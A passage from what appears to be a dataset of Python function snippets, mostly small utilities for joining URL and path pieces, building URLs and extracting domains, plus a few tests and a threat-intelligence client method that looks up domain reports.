email.endswith(at_domain):\\n return email\\n if email.endswith(at_domain + '>'):\\n return email\\n return email + at_domain\",\n \"def urljoin(*args):\\n return '/'.join(str(a or '').strip('/') for a in args)\",\n \"def _construct_url(parts):\\n results = []\\n last_idx = len(parts) - 1\\n for n, part in enumerate(parts):\\n if n > 0:\\n part = part.lstrip('/')\\n if n < last_idx:\\n part = part.rstrip('/')\\n if part:\\n results.append(part)\\n return '/'.join(results)\",\n \"def urljoin(*atoms):\\n url = \\\"/\\\".join([x for x in atoms if x])\\n while \\\"//\\\" in url:\\n url = url.replace(\\\"//\\\", \\\"/\\\")\\n # Special-case the final url of \\\"\\\", and return \\\"/\\\" instead.\\n return url or \\\"/\\\"\",\n \"def join(path, *paths):\\n\\n for p in paths:\\n if p.startswith(\\\"/\\\"):\\n path = p\\n elif p != \\\"\\\":\\n path += (\\\"\\\" if path == \\\"\\\" or path.endswith(\\\"/\\\") else \\\"/\\\") + p\\n return path\",\n \"def _url_join(self, *parts):\\n return \\\"/\\\".join(map(lambda fragment: fragment.rstrip('/'), parts))\",\n \"def join(path, *paths: str) -> str:\\n pass\",\n \"def domain_args(domains):\\n return ' ' + ' '.join(['-d {0}'.format(domain) for domain in domains])\",\n \"def join(*paths):\\r\\n path = \\\"\\\"\\r\\n for component in paths:\\r\\n path += (\\\"/\\\" if path and not path.endswith(\\\"/\\\") else \\\"\\\") + component.replace(\\r\\n \\\"\\\\\\\\\\\", \\\"/\\\"\\r\\n )\\r\\n return path\",\n \"def urljoin(*parts):\\n def _gen(parts):\\n prev = None\\n for part in parts:\\n if not part:\\n continue\\n if not prev:\\n prev = part\\n elif (prev[-1] == '/') != (part[0] == '/'): # Exactly one slash was present\\n prev = part\\n # At this point, either zero or two slashes are present. Which is it?\\n elif part[0] == '/': # Two slashes.\\n prev = part[1:]\\n else: # No slashes.\\n yield '/'\\n prev = part\\n yield prev\\n\\n return \\\"\\\".join(part for part in _gen(parts))\",\n \"def ends_slash(url):\\n return url if url.endswith(\\\"/\\\") else url + \\\"/\\\"\",\n \"def generate_url(domainname = None):\\n path_length = random.choice([1,2,3,4,5])\\n path = ''\\n for i in range(path_length):\\n path = path + '/' + ''.join(generate_string(5, valid_domain_name_chars))\\n if domainname:\\n return 'http://www.'+domainname+path\\n else: \\n return 'http://www.'+generate_domainname()+path\",\n \"def append_links(self, lines, lang):\\n lines.append(\\\"verbatim \\\")\\n lines.append(\\\"section Links\\\")\\n lines.append(\\\"external http://polcasaglia.blogspot.com Blog\\\")\\n lines.append(\\\"external http://www.uisp-fe.it/calcio.php UISP\\\" )\\n lines.append(\\\"verbatim \\\")\\n return lines\",\n \"def full_uri(path):\\n protocol = 'https' if settings.USE_HTTPS else 'http'\\n domain = Site.objects.get_current().domain\\n return \\\"{}://{}{}\\\".format(protocol, domain, path)\",\n \"def test_url_domain(self):\\n assert ct.url_domain(\\\"http://www.google.com\\\") == \\\"google.com\\\"\\n assert ct.url_domain(\\\"http://localhost\\\") == \\\"localhost\\\"\\n assert ct.url_domain(\\\"http://192.168.1.19:5010\\\") == \\\"192.168.1.19\\\"\",\n \"def get_url_end_string(url_extras: [str]) -> str:\\n if len(url_extras) == 0:\\n return \\\"\\\"\\n else:\\n url_end_string = \\\"\\\"\\n for i in url_extras:\\n url_end_string += \\\"/\\\" + i\\n return url_end_string\",\n \"def add_domain(user):\\n if \\\"@\\\" not in user:\\n user = user + \\\"@linaro.org\\\"\\n return user\",\n \"def url_path_join(*pieces):\\n initial = pieces[0].startswith(\\\"/\\\")\\n final = pieces[-1].endswith(\\\"/\\\")\\n stripped = [s.strip(\\\"/\\\") for s in pieces]\\n result = \\\"/\\\".join(s for s in stripped if s)\\n if initial:\\n result = \\\"/\\\" + result\\n if final:\\n result = result + \\\"/\\\"\\n if result == \\\"//\\\":\\n result = \\\"/\\\"\\n return result\",\n \"def urljoin(base, *path):\\n return reduce(_join, path, base)\",\n \"def combine_paths(paths: Iterable[str], prepend: str, separator: str) -> str:\\n\\n paths = [\\\"{}{}\\\".format(prepend, p) for p in paths]\\n return separator.join(paths)\",\n \"def domain_to_url(domain):\\n try:\\n domain = get_tld(domain)\\n except Exception: # pylint: disable=W0703,W0704\\n pass\\n return 'http://www.' + domain + '/'\",\n \"def url_path_join(*pieces):\\n initial = pieces[0].startswith('/')\\n final = pieces[-1].endswith('/')\\n striped = [s.strip('/') for s in pieces]\\n result = '/'.join(s for s in striped if s)\\n if initial: result = '/' + result\\n if final: result = result + '/'\\n if result == '//': result = '/'\\n return result\",\n \"def get_domain():\\n domain=\\\"\\\"\\n for item in re.split(\\\"\\\\.\\\", env.host)[1:]:\\n domain = domain + \\\".\\\" + item\\n return domain.lstrip(\\\".\\\")\",\n \"def join(self, path, *paths):\",\n \"def join_infile_path(*paths):\\n # Join path components\\n path = '/'.join(paths)\\n # Correct double slashes, if any is present\\n path = path.replace('//', '/')\\n\\n return path\",\n \"def construct_url(self,*path):\\n base = self.request.protocol+\\\"://\\\"+self.request.host+\\\"/\\\"\\n return base+\\\"/\\\".join(path)\",\n \"def urljoin(cls, base, end):\\r\\n if base and not base.endswith(\\\"/\\\"):\\r\\n base = base + \\\"/\\\"\\r\\n return urljoin(base, str(end))\",\n \"def urljoin(cls, base, end):\\n\\n if base and not base.endswith('/'):\\n base = base + '/'\\n return urljoin(base, str(end))\",\n \"def urlpath(self, url):\\n\\t\\t# remove schema + hostname\\n\\t\\turl = re.sub('^[^:]*://[^/]+', '/', url)\\n\\n\\t\\treturn self.canonicalize(url)\",\n \"def generate_full_url(base_url, lineage, segment):\\n params = \\\"/\\\".join([lineage, segment])\\n return urljoin(base_url, params)\",\n \"def _inline(line):\\n if len(line) == 0:\\n return ''\\n\\n # Regexp of protocols supported in hyperlinks (should be protocols that\\n # we can expect web browsers to support)\\n protocols = \\\"https?|ftp|sftp|file|afs|nfs\\\"\\n\\n\\n # Prepare usual links: prefix every \\\"www.\\\" with \\\"http://\\\"\\n # unless there is a // before\\n line = re.sub('(^|\\\\s|[^\\\\/])(www\\\\.)', '\\\\\\\\1http://\\\\\\\\2', line, re.I);\\n\\n # replace the @ sign with an HTML entity, if it is used within\\n # an url (e.g. for pointers to mailing lists). This way, the\\n # @ sign doesn't get mangled in the e-mail markup code\\n # below. See bug #2689 on http://gna.org/ for reference.\\n line = re.sub(\\\"([a-z]+://[^<>[:space:]]+)@\\\", \\\"\\\\\\\\1@\\\", line, re.I)\\n\\n # Prepare the markup for normal links, e.g. http://test.org, by\\n # surrounding them with braces []\\n # (& = begin of html entities, it means a end of string unless\\n # it is & which itself is the entity for &)\\n line = re.sub('(^|\\\\s|[^\\\\[])((' + protocols + '):\\\\/\\\\/(&|[^\\\\s&]+[a-z0-9\\\\/^])+)',\\n '\\\\\\\\1[\\\\\\\\2]', line, re.I)\\n\\n # do a markup for mail links, e.g. info@support.org\\n # (do not use utils_emails, this does extensive database\\n # search on the string\\n # and replace addresses in several fashion. Here we just want to make\\n # a link). Make sure that 'cvs -d:pserver:anonymous@cvs.sv.gnu.org:/...'\\n # is NOT replaced.\\n line = re.sub(\\\"(^|\\\\s)([a-z0-9_+-.]+@([a-z0-9_+-]+\\\\.)+[a-z]+)(\\\\s|$)\\\",\\n '\\\\\\\\1' + '<a href=\\\"mailto:\\\\\\\\2\\\">\\\\\\\\2</a>' + '\\\\\\\\4', line, re.I)\\n\\n # Links between items\\n # FIXME: it should be i18n, but in a clever way, meaning that everytime\\n # a form is submitted with such string, the string get converted in\\n # english so we always get the links found without having a regexp\\n # including every possible language.\\n # Trackers URLs disabled until trackers are actually implemented :)\\n #trackers = {\\n # \\\"bugs?\\\" : \\\"bugs/?\\\",\\n # \\\"support|sr\\\" : \\\"support/?\\\",\\n # \\\"tasks?\\\" : \\\"task/?\\\",\\n # \\\"patch\\\" : \\\"patch/?\\\",\\n # # In this case, we make the link pointing to support, it wont matter,\\n # # the download page is in every tracker and does not check if the tracker\\n # # is actually used\\n # \\\"files?\\\" : \\\"support/download.php?file_id=\\\",\\n # }\\n #for regexp,link in trackers:\\n # # Allows only two white space between the string and the numeric id\\n # # to avoid having too time consuming regexp. People just have to pay\\n # # attention.\\n # line = re.sub(\\\"(^|\\\\s|\\\\W)($regexp)\\\\s{0,2}#([0-9]+)\\\",\\n # '\\\\1<em><a href=\\\"' + 'sys_home'\\n # + link + '\\\\\\\\3\\\">\\\\\\\\2 #\\\\\\\\3</a></em>',\\n # line, re.I)\\n\\n # add an internal link for comments\\n line = re.sub('(comments?)\\\\s{0,2}#([0-9]+)',\\n '<em><a href=\\\"#comment\\\\\\\\2\\\">\\\\\\\\1 #\\\\\\\\2</a></em>',\\n line, re.I)\\n\\n # Add support for named hyperlinks, e.g.\\n # [http://savane-forge.org/ Text] -> <a href=\\\"http://savane-forge.org/\\\">Text</a>\\n line = re.sub(\\n # find the opening brace '['\\n '\\\\['\\n # followed by the protocol, either http:// or https://\\n + '((' + protocols + '):\\\\/\\\\/'\\n # match any character except whitespace or the closing\\n # brace ']' for the actual link\\n + '[^\\\\s\\\\]]+)'\\n # followed by at least one whitespace\\n + '\\\\s+'\\n # followed by any character (non-greedy) and the\\n # next closing brace ']'\\n + '(.+?)\\\\]',\\n '<a href=\\\"\\\\\\\\1\\\">\\\\\\\\3</a>', line)\\n\\n # Add support for unnamed hyperlinks, e.g.\\n # [http://savane-forge.org/] -> <a href=\\\"http://savane-forge.org/\\\">http://savane-forge.org/</a> \\n line = re.sub(\\n # find the opening brace '['\\n '\\\\['\\n # followed by the protocol, either http:// or https://\\n # (FIXME: which protocol does it makes sense to support, which one\\n # should we ignore?)\\n + '((' + protocols + '):\\\\/\\\\/'\\n # match any character except whitespace (non-greedy) for\\n # the actual link, followed by the closing brace ']'\\n + '[^\\\\s]+?)\\\\]',\\n '<a href=\\\"\\\\\\\\1\\\">\\\\\\\\1</a>', line)\\n\\n # *word* -> <strong>word</strong>\\n line = re.sub(\\n # find an asterisk\\n '\\\\*'\\n # then one character (except a space or asterisk)\\n + '([^* ]'\\n # then (optionally) any character except asterisk\\n + '[^*]*?)'\\n # then an asterisk\\n + '\\\\*',\\n '<strong>\\\\\\\\1</strong>', line)\\n\\n # _word_ -> <em>word</em>\\n line = re.sub(\\n # allow for the pattern to start at the beginning of a line.\\n # if it doesn't start there, the character before the slash\\n # must be either whitespace or the closing brace '>', to\\n # allow for nested html tags (e.g. <p>_markup_</p>).\\n # Additionally, the opening brace may appear.\\n # See bug #10571 on http://gna.org/ for reference.\\n '(^|\\\\s+|>|\\\\()'\\n # match the underscore\\n + '_'\\n # match any character (non-greedy)\\n + '(.+?)'\\n # match the ending underscore and either end of line or\\n # a non-word character\\n + '_(\\\\W|$)',\\n '\\\\\\\\1<em>\\\\\\\\2</em>\\\\\\\\3',\\n line)\\n\\n return line\",\n \"def join_path(values: t.List[str]) -> str:\\n from axonius_api_client.tools import listify\\n\\n return \\\" => \\\".join(listify(values))\",\n \"def compose_url(base_url, anno, chimico):\\n \\n return base_url + chimico + '_' + anno + '.txt'\",\n \"def test_split_fullpath_with_route_domain():\\n\\n # Expected input must have route specified, otherwise reject\\n tests = [\\n [\\\"/Partition/1.2.3.4%0:80\\\", \\\"/Partition\\\", \\\"1.2.3.4\\\", 0, 80],\\n [\\\"/Part/Folder/1.2.3.4%1:443\\\", \\\"/Part/Folder\\\", \\\"1.2.3.4\\\", 1, 443],\\n [\\\"/Part/::ffff:0:0%2.8080\\\", \\\"/Part\\\", \\\"::ffff:0:0\\\", 2, 8080],\\n [\\\"/Part/1.2.3.4:8080\\\", None, None, None, None],\\n [\\\"/Part/::ffff:0:0.8080\\\", None, None, None, None]\\n ]\\n\\n for test in tests:\\n results = split_fullpath_with_route_domain(test[0])\\n assert results[0] == test[1]\\n assert results[1] == test[2]\\n assert results[2] == test[3]\\n assert results[3] == test[4]\",\n \"def _make_url(self, path):\\n if not self.base_location:\\n raise ValueError(\\\"No base_location set. Cannot construct url.\\\")\\n\\n if path:\\n path = self._normalise_last_slashes(path)\\n path = self._normalise_head_slashes(path)\\n\\n return \\\"\\\".join((self.base_location, self.endpoint, path))\",\n \"def public_rest_url(path_url: str, domain: str = CONSTANTS.DEFAULT_DOMAIN) -> str:\\n return CONSTANTS.FTX_BASE_URL + path_url\",\n \"def append_sitename(strs,site):\\n strs = [x+' site:'+site for x in strs]\\n return strs\",\n \"def test_url_subdomain(self):\\n subdomains = ct.url_subdomain(\\\"https://www.bad-actor.services/some/url-thats-long?debug=True\\\")\\n assert isinstance(subdomains, list)\\n assert len(subdomains) == 1\\n subdomains = ct.url_subdomain(\\\"https://one.two.bad-actor.services/some/url-thats-long?debug=True\\\")\\n assert subdomains[0] == \\\"one\\\"\\n assert subdomains[1] == \\\"two\\\"\",\n \"def testTrailingSpaces(self):\\n self.assertEqual([\\\"http://tomtom.foobar.org/\\\"], grab('http://tomtom.foobar.org/ ', self.needScheme))\\n self.assertEqual([\\\"http://www.foobi.org/saatoimia\\\"], grab('http://www.foobi.org/saatoimia ', self.needScheme))\",\n \"def url_join(*parts):\\n parts = parts or [\\\"\\\"]\\n clean_parts = [part.strip(\\\"/\\\") for part in parts if part]\\n if not parts[-1]:\\n # Empty last element should add a trailing slash\\n clean_parts.append(\\\"\\\")\\n return \\\"/\\\".join(clean_parts)\",\n \"def get_domainURI(self):\\n return \\\"{0}/cdmi_domains/radon/\\\".format(self.api_root)\",\n \"def get_domainURI(self):\\n return \\\"{0}/cdmi_domains/radon/\\\".format(self.api_root)\",\n \"def aix_path_join(path_one, path_two):\\n if path_one.endswith('/'):\\n path_one = path_one.rstrip('/')\\n\\n if path_two.startswith('/'):\\n path_two = path_two.lstrip('/')\\n\\n final_path = path_one + '/' + path_two\\n return final_path\",\n \"def _build_url(self, tail_end):\\n url = self._doc_class.urlobject.format(self._cb.credentials.org_key) + tail_end\\n return url\",\n \"def _build_url(self, tail_end):\\n url = self._doc_class.urlobject.format(self._cb.credentials.org_key) + tail_end\\n return url\",\n \"def getDomainName(string):\\n if re.match('(?P<d>^http(s)?://([a-z0-9\\\\-.]+)\\\\.[a-z0-9]+)', string) is not None:\\n d = re.search('(?P<d>^http(s)?://([a-z0-9\\\\-.]+)\\\\.[a-z0-9]+)', string).group('d')\\n d += \\\"/\\\"\\n return d\\n return \\\"\\\"\",\n \"def get_domain(self, full_url):\\n clean_reg= re.compile(r'^((?:https?:\\\\/\\\\/)?(?:www\\\\.)?).*?(\\\\/.*)?$')\\n match = re.search(clean_reg, full_url)\\n beg, end = match.group(1), match.group(2)\\n domain = string.replace(full_url, beg, '')\\n domain = string.replace(domain, end, '')\\n return domain\",\n \"def url_path_join(*fragments):\\n fragments = fragments or (\\\"\\\",)\\n result = fragments[0] # Tolerate an empty list\\n for thing in fragments[1:]:\\n result = result.rstrip(\\\"/\\\") + \\\"/\\\" + thing.lstrip(\\\"/\\\")\\n return result\",\n \"def domain(self, domain):\",\n \"def appendPath(paths: List[unicode]) -> unicode:\\n ...\",\n \"def path_join(first: str, second: str) -> str:\\n first = first.rstrip('/\\\\\\\\')\\n second = second.lstrip('/\\\\\\\\')\\n if not first: return second\\n if not second: return first\\n return first + '/' + second\",\n \"def test_observable_url_normalize(self):\\n result = self.api.observable_add('http://test.com')\\n self.assertEqual(result['value'], 'http://test.com/')\\n result = self.api.observable_add('https://test.com/something/../asd')\\n self.assertEqual(result['value'], 'https://test.com/asd')\",\n \"def formatter(self, formatString=\\\"{old} {new}\\\"):\\n lines = []\\n for url in self.redirects.keys():\\n for match in self.redirects[url]:\\n parsed = urlparse(url)\\n\\n netloc = parsed.netloc\\n if self.subdomain:\\n netloc = netloc[(netloc.find(\\\".\\\")+1):]\\n\\n prefix = \\\"{0}://{1}\\\".format(parsed.scheme, netloc)\\n\\n lines.append(formatString.format(old=url, oldPath=parsed.path,\\n prefix=prefix, new=match))\\n return \\\"\\\\n\\\".join([line for line in lines])\",\n \"def escape_crlf(s1):\\n\\t\\tif '\\\\\\\\n' not in s1 and '\\\\r' not in s1: return s1 # fast path\\n\\t\\ts2=''\\n\\t\\tescaped=False\\n\\t\\tfor c in s1:\\n\\t\\t\\tif not escaped and c == '\\\\r':\\n\\t\\t\\t\\tc = '\\\\\\\\\\\\r'\\n\\t\\t\\telif escaped and c == 'n':\\n\\t\\t\\t\\tc = '\\\\n'\\n\\t\\t\\tescaped = not escaped and c == '\\\\\\\\'\\n\\t\\t\\ts2 += c\\n\\t\\treturn s2\",\n \"def path_join(base, *urls):\\n if not base.endswith(\\\"/\\\"):\\n base += \\\"/\\\"\\n btpl = urlsplit(base)\\n path = btpl.path\\n for url in urls:\\n utpl = urlsplit(url)\\n if btpl.scheme == \\\"\\\":\\n path = os.path.join(path, utpl.path)\\n path = os.path.normpath(path)\\n else:\\n path = urljoin(path, utpl.path)\\n return btpl._replace(path=path).geturl()\",\n \"def get_url(self, uri):\\n # TODO make this a prepend_if_needed type method\\n return urllib.parse.urljoin(self.hostname, uri)\",\n \"def _join_url(saas_url, endpoint):\\n\\n saas_url = f\\\"{saas_url}/\\\"\\n endpoint = endpoint.lstrip(\\\"/\\\")\\n return urljoin(saas_url, endpoint)\",\n \"def generate_link(resources):\\n\\n links = \\\"\\\"\\n for i, resource in enumerate(resources):\\n link = \\\"<\\\" + resource[\\\"path\\\"] + \\\">\\\"\\n if \\\"parameters\\\" in resource:\\n for parameter in resource[\\\"parameters\\\"]:\\n link += \\\";\\\" + str(parameter) + \\\"=\\\" + str(resource[\\\"parameters\\\"][parameter])\\n links += link\\n if i != len(resources) - 1:\\n links += \\\",\\\"\\n return links\",\n \"def escape_leading_slashes(url):\\n if url.startswith(\\\"//\\\"):\\n url = \\\"/%2F{}\\\".format(url.removeprefix(\\\"//\\\"))\\n return url\",\n \"def getDomain(self, *args, **kwargs):\\n\\n return_json = dict()\\n jdatas = list()\\n try:\\n result, name = is_file(kwargs.get('value')[0])\\n if result:\\n jdatas = [load_file(name)]\\n kwargs['dump'] = False\\n md5_hash = ''\\n\\n except IndexError:\\n print('[-] Something going wrong')\\n return\\n\\n if not jdatas:\\n if isinstance(kwargs.get('value'), list) and len(kwargs.get('value')) == 1 and \\\\\\n os.path.exists(kwargs.get(\\\"value\\\")[0]) and kwargs.get(\\\"value\\\")[0].endswith(\\\".txt\\\"):\\n kwargs[\\\"value\\\"] = [domain.strip() for domain in open(kwargs.get(\\\"value\\\")[0], \\\"rb\\\").readlines()]\\n elif isinstance(kwargs.get('value'), six.string_types):\\n kwargs['value'] = [kwargs.get('value')]\\n\\n kwargs['value'] = [urlparse(domain).netloc.lower() if domain.startswith(('http://', 'https://')) else domain for domain in kwargs.get('value')]\\n\\n url = self.base.format('domains/')\\n\\n for domain in kwargs.get('value'):\\n url = self.base.format('domains/{}'.format(domain))\\n if kwargs.get('domain_post_comments'):\\n url += '/comments'\\n method = 'post'\\n data = '{\\\"data\\\": {\\\"type\\\": \\\"comment\\\", \\\"attributes\\\": {\\\"text\\\": \\\"Lorem ipsum dolor sit ...\\\"}}}'\\n elif kwargs.get('domain_get_comments'):\\n url += '/comments'\\n method = 'get'\\n else:\\n #url += '/' + kwargs['domain_get_relationships']\\n self.params[\\\"relationships\\\"] = 'communicating_files,downloaded_files,graphs,referrer_files,resolutions,siblings,subdomains,urls'\\n method = \\\"get\\\"\\n jdata, response = get_response(url, apikey=self.apikey, method=method, params=self.params)\\n jdatas.append((domain, jdata))\\n\\n if kwargs.get('return_raw'):\\n return jdatas\\n\\n for domain, jdata in jdatas:\\n if jdata.get('data'):\\n jdata = jdata['data']\\n\\n if not (kwargs.get('return_json') or kwargs.get('return_raw')) and kwargs.get('verbose'):\\n print('\\\\n[+] Domain:', domain)\\n\\n single_dict = (\\n 'TrendMicro category',\\n 'Dr.Web category',\\n 'BitDefender category',\\n 'Websense ThreatSeeker category',\\n 'Alexa category',\\n 'Alexa domain info',\\n 'Alexa rank',\\n 'Opera domain info',\\n 'subdomains',\\n 'siblings',\\n )\\n\\n complicated_dict = (\\n 'WOT domain info',\\n 'Webutation domain info',\\n )\\n\\n for key in single_dict:\\n if jdata.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({key: jdata[key]})\\n else:\\n self.print_key(key)\\n if isinstance(jdata[key], list):\\n print('\\\\t', '\\\\n\\\\t'.join(jdata[key]))\\n else:\\n print('\\\\t{0}'.format(jdata[key]))\\n\\n for key in complicated_dict:\\n if jdata.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({key: jdata[key]})\\n else:\\n self.__print_complex_dict(jdata, key, kwargs)\\n\\n if jdata['attributes'].get('whois') and ((kwargs.get('whois') or 'whois' in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({'whois': jdata['attributes']['whois']})\\n else:\\n print('\\\\n[+] Whois data:\\\\n')\\n try:\\n print('\\\\t', jdata['attributes']['whois'].replace('\\\\n', '\\\\n\\\\t'))\\n except:\\n try:\\n print('\\\\t', jdata['attributes']['whois'].encode('utf-8', 'replace').replace('\\\\n', '\\\\n\\\\t'))\\n except:\\n print('Old version of python has some problems with converting chars to ansii')\\n\\n self._print_complex_dict(jdata['attributes'], 'categories')\\n self.__parse_relationships(jdata['relationships'], domain)\\n if kwargs.get(\\\"domain_get_comments\\\", False) is True:\\n simple_list = (\\n \\\"date\\\",\\n \\\"tags\\\",\\n \\\"text\\\",\\n \\\"votes\\\",\\n \\\"links\\\"\\n )\\n for block in jdata:\\n print(\\\"[+] Comment ID: {}\\\".format(block[\\\"id\\\"]))\\n for key in simple_list:\\n if block.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({key: block[\\\"attributes\\\"][key]})\\n else:\\n self.print_key(key, indent='', separator='\\\\t[+]')\\n if key == \\\"date\\\":\\n print('\\\\t', datetime_from_timestamp(block.get(key)))\\n else:\\n print('\\\\t', block.get(key))\\n\\n # ToDo\\n #elif kwargs.get(\\\"post_post_comments\\\", False) is True:\\n\\n elif kwargs.get('domain_get_relationships', False):\\n self._print_complex_dict(jdata['attributes'], 'categories')\\n self.__parse_relationships(jdata['relationships'], domain)\\n \\\"\\\"\\\"\\n simple_list = (\\n \\\"url\\\",\\n \\\"last_final_url\\\",\\n \\\"tags\\\",\\n \\\"total_votes\\\",\\n \\\"last_analysis_date\\\",\\n \\\"last_analysis_stats\\\",\\n )\\n for block in jdata['attributes']:\\n print(block)\\n for key in simple_list:\\n if block.get(key, \\\"\\\") and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({key:block[key]})\\n else:\\n self.print_key(key, indent='', separator='\\\\t[+]')\\n if key == \\\"last_analysis_date\\\":\\n print('\\\\t', datetime_from_timestamp(block.get(key)))\\n else:\\n print('\\\\t', block.get(key))\\n #[{u'attributes': {u'total_votes': {u'harmless': 0, u'malicious': 0}, u'last_final_url': u'https://msg3.club/', u'tags': [], u'url': u'https://msg3.club/', u'last_analysis_date': 1551639858, u'last_analysis_stats': {u'harmless': 57, u'malicious': 1, u'suspicious': 0, u'undetected': 8, u'timeout': 0}, u'first_submission_date': 1551639858,\\n self.last_analysis_results(block, args, kwargs)\\n \\\"\\\"\\\"\\n\\n if kwargs.get('return_json'):\\n return_json.update(self.__detected_samples(jdata, *args, **kwargs))\\n else:\\n return_json = self.__detected_samples(jdata, *args, **kwargs)\\n\\n if jdata.get('pcaps') and ((kwargs.get('pcaps') or 'pcaps' in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({'pcaps': jdata['pcaps']})\\n else:\\n print('\\\\n')\\n pretty_print(jdata['pcaps'], ['pcaps'], [70], ['c'], kwargs.get('email_template'))\\n\\n if jdata.get('resolutions') and ((kwargs.get('resolutions') or 'resolutions' in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({'passive_dns': jdata['resolutions']['data']})\\n else:\\n print('\\\\n[+] Passive DNS replication\\\\n')\\n pretty_print(jdata['resolutions']['data'],\\n ['ip_address', 'type'],\\n [25, 20],\\n ['c', 'c'],\\n kwargs.get('email_template')\\n )\\n\\n if kwargs.get('walk') and jdata.get('resolutions', {}).get(\\\"data\\\", []):\\n filter_ip = list()\\n for ip in jdata['resolutions']['data']:\\n ip = ip['id'].replace(domain, '')\\n if ip not in filter_ip:\\n print('\\\\n\\\\n[+] Checking data for ip: {0}'.format(ip))\\n kwargs['value'] = ip\\n self.getIP(**kwargs)\\n\\n if kwargs.get('dump') is True:\\n md5_hash = hashlib.md5(name.encode(\\\"utf-8\\\")).hexdigest()\\n jsondump(jdata, md5_hash)\\n\\n if kwargs.get('return_json'):\\n return return_json\",\n \"def gen_tldr(words):\\n for word in words:\\n yield word.serialize() + \\\"\\\\n\\\"\",\n \"def getDomain(url):\\n domain = string.replace(url,\\\"https://www.\\\",\\\"\\\")\\n domain = string.replace(domain,\\\"http://www.\\\",\\\"\\\")\\n domain = string.replace(domain,\\\"http://\\\",\\\"\\\")\\n domain = string.replace(domain,\\\".com/\\\",\\\"\\\")\\n domain = string.replace(domain,\\\".com\\\",\\\"\\\")\\n return domain\",\n \"def urljoin(*args):\\n from six.moves.urllib.parse import urljoin as sys_urljoin\\n from functools import reduce\\n return reduce(sys_urljoin, args)\",\n \"def safe_join(base, *paths):\\n from urlparse import urljoin\\n base_path = force_text(base)\\n base_path = base_path.rstrip(\\\"/\\\")\\n paths = [force_text(p) for p in paths]\\n\\n final_path = base_path\\n for path in paths:\\n final_path = urljoin(final_path.rstrip(\\\"/\\\") + \\\"/\\\", path.rstrip(\\\"/\\\"))\\n\\n # Ensure final_path starts with base_path and that the next character after\\n # the final path is '/' (or nothing, in which case final_path must be\\n # equal to base_path).\\n base_path_len = len(base_path)\\n if (not final_path.startswith(base_path) or\\n final_path[base_path_len:base_path_len + 1] not in (\\\"\\\", \\\"/\\\")):\\n raise ValueError(\\\"the joined path is located outside of the base path\\\"\\n \\\" component\\\")\\n\\n return final_path.lstrip(\\\"/\\\")\",\n \"def composeURL(self,splitedURL):\\n # 027 With use of SmartURL won't be necessary anymore.\\n # 027 was used only in LinklistAdaptor.parse2Queue().parseLine() -> removed (Which actually might jeopardize cll).\\n # 027 So actually is NOT used anywhere.\\n \\n #Could be replaced by string.join() method.\\n #Also could be merged with method composePath().\\n #Create child of list class with this method. \\n \\n self.debug.printHeader() \\n url=''\\n if len(splitedURL)>0:\\n for piece in splitedURL:\\n if not(piece==splitedURL[0]): url+='/'\\n url+=piece\\n self.logger.debug(\\\"Composed url is: %s\\\" %(url))\\n return url\\n #return \\\"/\\\".join(splitedURL) #026 This will do the same job. But needs to be tested.\",\n \"def addslash(path):\\n if path.lower().endswith(\\\".dql\\\"):\\n return path + \\\" \\\"\\n else:\\n return path + \\\"/\\\"\",\n \"def hostify_url(url):\\n\\tif url[0] == '/':\\n\\t\\treturn HOST + url\\n\\telse:\\n\\t\\treturn url\",\n \"def _format_url(self, hostname):\\n share_name = self.share_name\\n if isinstance(share_name, six.text_type):\\n share_name = share_name.encode('UTF-8')\\n return \\\"{}://{}/{}/{}{}\\\".format(\\n self.scheme,\\n hostname,\\n quote(share_name),\\n \\\"/\\\".join([quote(p, safe='~') for p in self.file_path]),\\n self._query_str)\",\n \"def full(self):\\n url = (self.scheme + ':') if self.scheme else ''\\n url += '//' + self.netloc + self.relative()\\n return url\",\n \"def update_domain():\\n\\n for e in Expr.search() + User.search(): e.set_tld(config.server_name)\",\n \"def test_append_slash():\\n assert normalize_url(\\\"http://example.com\\\") == \\\"http://example.com/\\\"\",\n \"def _escapePaths(self, paths):\\n cmd = \\\"\\\"\\n for p in paths:\\n if ' ' in p:\\n cmd += ' \\\"{0}\\\"'.format(p)\\n else:\\n cmd += ' ' + p\\n return cmd\",\n \"def _normalise_head_slashes(url_segment):\\n return url_segment if url_segment.startswith(\\\"/\\\") else \\\"/\\\" + url_segment\",\n \"def _parse_domain_list(self, *cmd):\\n if self._fail_domain_list:\\n raise processutils.ProcessExecutionError(exit_code=1)\\n elif self._empty_domain_list:\\n return '', ''\\n else:\\n return \\\"thisserver\\\\nthatserver\\\\nanotherserver\\\\n\\\", ''\",\n \"def create_absolute_url(path: str) -> str:\\n domain = settings.ALLOWED_HOSTS[0]\\n return \\\"https://{domain}{path}\\\".format(domain=domain, path=path)\",\n \"def transform_url(result):\\n import re\\n result = re.sub('//', '/', result)\\n result = re.sub('/', '//', result, count=1)\\n return encode_url_path(result)\",\n \"def testLeadingAndTrailingText(self):\\n self.assertEqual([\\\"http://123.123.123.123\\\"], grab('fooasdf asdf a http://123.123.123.123 asdfasdf', self.needScheme))\",\n \"def join(cls, *args):\\n return AbsolutePath(os.path.join(*(str(piece) for piece in args)))\",\n \"def urlencode(path):\\n return urllib.quote_plus(path)\",\n \"def _url(self, path):\\n \\n return self.url + path\",\n \"def write_url(url_list):\\r\\n with open(\\\"URLS.txt\\\", \\\"a+\\\") as url_file:\\r\\n for url in url_list:\\r\\n url_file.write(url+\\\"\\\\n\\\")\",\n \"def _format_url(s):\\n return u'%s%s\\\\n' % (BASE_URL, s.get_absolute_url())\",\n \"def add_trailing_slash(path):\\n if len(path) > 0:\\n if path[len(path) - 1] == \\\"/\\\":\\n return path\\n else:\\n return path + \\\"/\\\"\\n else:\\n return path + \\\"/\\\"\",\n \"def getStoryDomain(self, source):\\n domainStart = source.find('comhead\\\">') + 10\\n domainEnd = source.find('</span>')\\n domain = source[domainStart:domainEnd]\\n # Check for \\\"Ask HN\\\" links.\\n if domain[0] == '=':\\n return \\\"http://news.ycombinator.com\\\"\\n return \\\"http://\\\" + 